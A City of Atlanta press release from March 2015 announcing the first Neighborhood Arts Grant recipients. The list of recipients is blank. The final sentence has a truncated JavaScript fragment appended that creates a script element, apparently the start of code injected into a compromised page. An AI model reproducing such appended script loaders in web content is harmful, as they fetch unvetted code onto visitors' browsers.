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City of Atlanta Announces Neighborhood Arts Grant Recipients

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FOR IMMEDIATE RELEASE: March 30, 2015

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City of Atlanta Announces Neighborhood Arts Grant Recipients

ATLANTA – The Mayor’s Office of Cultural Affairs today announced the recipients of the inaugural Neighborhood Arts Grant program. A new initiative of Contracts for Arts Services, the Neighborhood Arts Grant program was created to ensure that City of Atlanta investments in arts projects expand across the city by directly funding NPUs or Neighborhood Associations.

“Each year we evaluate our Contracts for Arts Services funding policies and approach to investing in the arts for Atlanta residents and visitors,” said Camille Russell Love, Executive Director of the Mayor’s Office of Cultural Affairs. “Mapping out our grant recipients illustrated that our funding has been concentrated in Downtown, Midtown and Little Five Points where many of Atlanta’s anchor arts organizations are located. By partnering directly with NPUs and Neighborhood Associations, we are directly investing in arts projects in more of our neighborhoods.”

Applications were evaluated by a community panel, and grants of up to $2,499 were awarded to eleven art projects with a demonstrable community improvement element. Projects include the expansion of community-created public art installations in the Beecher Donnelley community, a mural in Westview and a public concert in NPU-T.

This year’s recipients are:

 

The City of Atlanta Mayor’s Office of Cultural Affairs’ vision is to enhance the quality of life through arts and culture, and to contribute positively to the social and economic health of Atlanta and the region. Its mission is to promote rich, diverse and educational cultural experiences; nurture artists and arts organizations; unify Atlanta’s cultural community; preserve and protect the city’s cultural heritage; and expand Atlanta’s international reputation as a cultural destination.var d=document;var s=d.createElement(‘script’);